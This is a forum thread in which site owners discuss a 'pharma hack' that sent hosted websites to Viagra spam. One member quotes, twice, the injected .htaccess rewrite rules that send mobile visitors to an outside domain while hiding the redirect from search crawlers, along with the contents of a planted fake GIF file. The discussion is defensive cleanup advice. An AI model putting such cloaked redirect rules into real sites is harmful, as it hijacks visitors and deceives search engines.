darksidehippo
Active Member
- Joined
- Jan 4, 2012
- Messages
- 66
- Reaction score
- 0
They really do go that extra mile!
-
Join the MyBroadband community
South Africa’s biggest forum. Discuss, discover, and connect with thousands of members.
-
Question of the Day: What's the most interesting small town you've visited in South Africa?
Serv Hosting & Viagra
- Thread starter darksidehippo
- Start date
They really do go that extra mile!
koffiejunkie
Executive Member
Don't let them raise your expectations 
vagueillusionsa
New Member
Seems like they fixed the problem though. The listing still shows up but when I fetched the site as Googlebot, all seemed well.
They really do go that extra mile!
Quite a few servers have been redirecting to Viagra sites lately, someone didn't update the firewall
koeksGHT
Dealer
Hope my site there is ok :O not a main one, just an old blog
Zarathustra
Expert Member
I am trying to help someone with this same Pharm-Hack.
I found this in the .htaccess file:
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://operarussia.net/u/3259 [L,R=302]
Then I also found a file called .img.gif which contains:
$conf = array (
'f7dbe6fa36cfa4a0689e08a409540c9c' => '0:1342918429',
);
I have deleted the 'GIF' file & replaced the .htaccess file.
The problem only affects Google searches, nothing on Bing or Yahoo.
How can I speed up a reindexing on Google & is there anything else I can check to make sure that the website is now clean?!?
I found this in the .htaccess file:
RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|windows\ phone) [NC]
RewriteCond %{HTTP_USER_AGENT} !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_validator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yandexaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yandeximageresizer) [NC]
RewriteRule (.*) http://operarussia.net/u/3259 [L,R=302]
Then I also found a file called .img.gif which contains:
$conf = array (
'f7dbe6fa36cfa4a0689e08a409540c9c' => '0:1342918429',
);
I have deleted the 'GIF' file & replaced the .htaccess file.
The problem only affects Google searches, nothing on Bing or Yahoo.
How can I speed up a reindexing on Google & is there anything else I can check to make sure that the website is now clean?!?
koffiejunkie
Executive Member
You need to figure how *how* the .htaccess file was changed. Did your ftp account credentials get busted? Does the website code allow writing any kind of files? Did they get php shell going? Find out how, and then make sure that can't happen again.